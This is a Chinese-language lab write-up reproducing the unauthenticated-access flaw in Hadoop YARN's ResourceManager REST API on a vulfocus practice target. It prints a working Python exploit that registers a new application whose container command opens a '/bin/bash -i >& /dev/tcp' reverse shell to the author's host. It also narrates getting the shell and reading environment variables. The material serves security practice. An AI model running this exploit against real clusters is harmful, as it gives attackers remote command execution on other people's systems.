1 介绍
Hadoop YARN(Yet Another Resource Negotiator)的ResourceManager是集群资源管理的核心组件,负责分配和管理集群资源以及调度作业。如果ResourceManager出现未授权访问漏洞,可能允许未经认证的用户访问或操作集群资源,这可能会导致数据泄露、资源滥用或拒绝服务攻击。在这个复现中就是在组件的ui界面上出现了未授权访问漏洞
2 涉及版本
hadoop **3.3.0**以下
vulfocus上的是2.8.1版本
3 复现
vulfocus打开靶机
这个地方有映射关系,8088是hadoop的"All Applications"页面,通常不是一个单独的组件,而是Hadoop生态系统中某些组件的用户界面(UI)的一部分,它可能用于展示和管理集群中的各种应用程序。
待会我们需要利用exp对这个页面/cluster/apps进行未授权漏洞的攻击
参考exp:https://www.cnblogs.com/cute-puli/p/14944637.html
`#!/usr/bin/env python
import requests
target = 'http://123.58.224.8:31840/' 目标网址
lhost = '用来反弹的ip' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/反弹到的端口号 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
由于我中间出去吃饭了,所以前后靶机ip有变化了因为要反弹shell,所以你的外网机需要开一下对应的端口这个已经有反应了,但是我外网机上面没收到,明明添加了安全组但是却没收到shell
解决:解决阿里云的端口添加安全组仍然无法扫描到-CSDN博客
要先监听到端口,这个端口绑定了服务才可以扫描和访问上
这样就可以了,已经反弹过来了
我们根据vulfocus的提示查看env环境变量,我这里是退回到根目录了